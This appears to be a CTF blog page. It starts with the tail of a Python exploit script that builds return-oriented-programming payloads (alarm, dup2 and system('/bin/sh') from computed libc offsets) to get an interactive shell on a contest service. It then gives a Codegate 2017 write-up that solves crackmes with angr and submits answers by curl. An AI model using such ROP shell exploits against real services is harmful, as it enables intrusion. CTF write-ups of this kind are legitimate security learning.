
# __libc_start_main = 0xf75ef990
setsockopt = 0xf765c5d0
libc_base = setsockopt - 0x000ed5d0
system = libc_base + 0x00040190
binsh = libc_base + 0x00160a24
dup2 = libc_base + 0x000db590
alarm = libc_base + 0x000b54c0

# go back to the loop to do a new rop call

log.info("alarm(0)")
r.sendline("1")
r.recvuntil(inputstr)
pl = pl_base + p32(alarm) + p32(loop)+ p32(0)
r.send(pl)
r.recvuntil(choicestr)
r.sendline("3")
r.recvuntil(choicestr)

log.info("dup2(4, 0)")
r.sendline("1")
r.recvuntil(inputstr)
pl = pl_base + p32(dup2) + p32(loop)+ p32(4) + p32(0)
r.send(pl)
r.recvuntil(choicestr)
r.sendline("3")
r.recvuntil(choicestr)

log.info("dup2(4, 1)")
r.sendline("1")
r.recvuntil(inputstr)
pl = pl_base + p32(dup2) + p32(loop)+ p32(4) + p32(1)
r.send(pl)
r.recvuntil(choicestr)
r.sendline("3")
r.recvuntil(choicestr)

log.info("system(\"/bin/sh\")")
r.sendline("1")
r.recvuntil(inputstr)
pl = pl_base + p32(system) + p32(loop)+ p32(binsh)
r.send(pl)
r.recvuntil(choicestr)
r.sendline("3")

r.interactive()
# FLAG{[email protected][email protected]@d!!!!!!^.^}
Posted in CTF | Leave a comment

Codegate 2017 Prequals – EasyCrack 101

We are presented with a zip file containing a bunch of ELF executables which serve as crackmes as well as a web server to submit the flags to each crackme. Doing some reverse engineering, we discover that one instruction always executed for correct inputs was main+0x50 and that the checking logic isn’t too complicated, so we can use tools like angr to find paths to that address. The only tricky part was determining which function was main, because the binaries were all stripped. We determine this by finding the only function that calls printf.

#! /usr/bin/env python2

import angr, sys

if len(sys.argv) != 2:
    print "give prob"
    sys.exit(0)

p = angr.Project(sys.argv[1])

# analyze and find main
cfg = p.analyses.CFGFast()

for addr,func in cfg.functions.iteritems():
    for site in func.get_call_sites():
        if cfg.functions[func.get_call_target(site)].name == "printf":
            main = func.addr
            # print "%x: main" % (main,)

arg = angr.claripy.BVS("arg", 100 * 8)
s = p.factory.path(args=[sys.argv[1], arg])
pg = p.factory.path_group(s)

pg.explore(find=main+80)
found = pg.found[0]
sol = found.state.se.any_str(arg)
repr(sol)
sol = sol[:sol.find("\x00")]
print sol

Put this with a script to automate the solving and submission of problems and you win.

#! /bin/bash

touch solutions.txt

lines=$(wc -l solutions.txt | cut -f1 -d' ')
next=$(echo $lines+1 | bc)

for i in $(seq $next 101); do
  sol=$(./solve.py ./prob$i 2>/dev/null)
  printf "./prob%-3d: %s\n" "$i" "$sol"
  printf "./prob%-3d: %s\n" "$i" "$sol" >> solutions.txt
  curl -X POST -b "PHPSESSID=[REDACTED]" -F "submit=Auth" -F "prob=$i" -F "key=$sol" "110.10.212.131:8777/auth.php" &>/dev/null
done

Flag: FLAG{Thank_U_4 s0lving_MY_Pr0b…[email protected]_vEry_genius!!!}

Posted in CTF | Leave a comment